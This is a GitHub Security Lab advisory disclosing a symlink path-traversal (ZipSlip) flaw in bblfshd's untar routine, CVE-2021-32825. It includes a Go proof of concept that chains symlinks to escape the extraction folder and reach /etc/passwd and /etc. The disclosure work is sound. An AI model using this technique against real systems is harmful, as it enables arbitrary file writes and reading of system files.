July 21, 2021

GHSL-2020-258: ZipSlip vulnerability in bblfshd - CVE-2021-32825

GitHub Security Lab

Coordinated Disclosure Timeline

- 2020-11-30: Issue reported to project maintainers
- 2020-12-02: Issue is acknowledged
- 2021-03-02: Disclosure deadline expired
- 2021-07-16: Advisory published as per our disclosure policy

Summary

The unsafe handling of symbolic links in an unpacking routine may enable attackers to read and/or write to arbitrary locations outside the designated target folder.

Product

bblfshd

Tested Version

Latest commit at the time of reporting (November 27, 2020).

Details

Unsafe handling of symbolic links in unpacking routine

The routine `untar` attempts to guard against creating symbolic links that point outside the directory a tar archive is extracted to. However, a malicious tarball first linking `subdir/parent` to `..` (allowed, because `subdir/..` falls within the archive root) and then linking `subdir/parent/escapes` to `..` results in a symbolic link pointing to the tarball's parent directory, contrary to the routine's goals.

Proof of concept, using a version of `untar` tweaked to accept an array of tar headers instead of working from an actual tar archive:

```
package main

import (
        "archive/tar"
        "errors"
        "fmt"
        "os"
        "path/filepath"
        "strings"
        "time"
)

func main() {
        var headers []tar.Header = make([]tar.Header, 3)

        headers[0].Name = "subdir/parent"
        headers[0].Linkname = ".."
        headers[0].Typeflag = tar.TypeSymlink

        headers[1].Name = "subdir/parent/passwd"
        headers[1].Linkname = "../../etc/passwd"
        headers[1].Typeflag = tar.TypeSymlink

        headers[2].Name = "subdir/parent/etc"
        headers[2].Linkname = "../../etc"
        headers[2].Typeflag = tar.TypeSymlink

        untar("/tmp/extracthere", headers)
}

func untar(dest string, headers []tar.Header) error {
        entries := make(map[string]bool)
        var dirs []*tar.Header
loop:
        for _, hdr := range headers {

                hdr.Name = filepath.Clean(hdr.Name)
                if !strings.HasSuffix(hdr.Name, string(os.PathSeparator)) {
                        // Not the root directory, ensure that the parent directory exists
                        parent := filepath.Dir(hdr.Name)
                        parentPath := filepath.Join(dest, parent)
                        if _, err2 := os.Lstat(parentPath); err2 != nil && os.IsNotExist(err2) {
                                if err3 := os.MkdirAll(parentPath, 0755); err3 != nil {
                                        return err3
                                }
                        }
                }
                path := filepath.Join(dest, hdr.Name)
                if entries[path] {
                        return fmt.Errorf("duplicate entry for %s", path)
                }
                entries[path] = true
                rel, err := filepath.Rel(dest, path)
                if err != nil {
                        return err
                }
                info := hdr.FileInfo()
                if strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
                        return fmt.Errorf("%q is outside of %q", hdr.Name, dest)
                }

                if strings.HasPrefix(info.Name(), ".wh.") {
                        path = strings.Replace(path, ".wh.", "", 1)

                        if err := os.RemoveAll(path); err != nil {
                                return errors.New("unable to delete whiteout path")
                        }

                        continue loop
                }

                switch hdr.Typeflag {
                case tar.TypeSymlink:
                        target := filepath.Join(filepath.Dir(path), hdr.Linkname)

                        if !strings.HasPrefix(target, dest) {
                                return fmt.Errorf("invalid symlink %q -> %q", path, hdr.Linkname)
```

```
			}

			err := os.Symlink(hdr.Linkname, path)
			if err != nil {
				if os.IsExist(err) {
					if err := os.Remove(path); err != nil {
						return err
					}

					if err := os.Symlink(hdr.Linkname, path); err != nil {
						return err
					}
				}
			}
		}
	}
	for _, hdr := range dirs {
		path := filepath.Join(dest, hdr.Name)

		finfo := hdr.FileInfo()
		// I believe the old version was using time.Now().UTC() to overcome an
		// invalid error from chtimes.....but here we lose hdr.AccessTime like this...
		if err := os.Chtimes(path, time.Now().UTC(), finfo.ModTime()); err != nil {
			return errors.New("error changing time")
		}
	}
	return nil
}
```

Impact

This issue may lead to arbitrary file write (with same permissions as the program running the unpack operation) if the attacker can control the archive file. Additionally, if the attacker has read access to the unpacked files, he may be able to read arbitrary system files the parent process has permissions to read.

CVE

- CVE-2021-32825

Resources

GHSA

Credit

This issue was discovered and reported by GitHub team member @smowton (Chris Smowton).

Contact

You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2020-258` in any communication regarding this issue.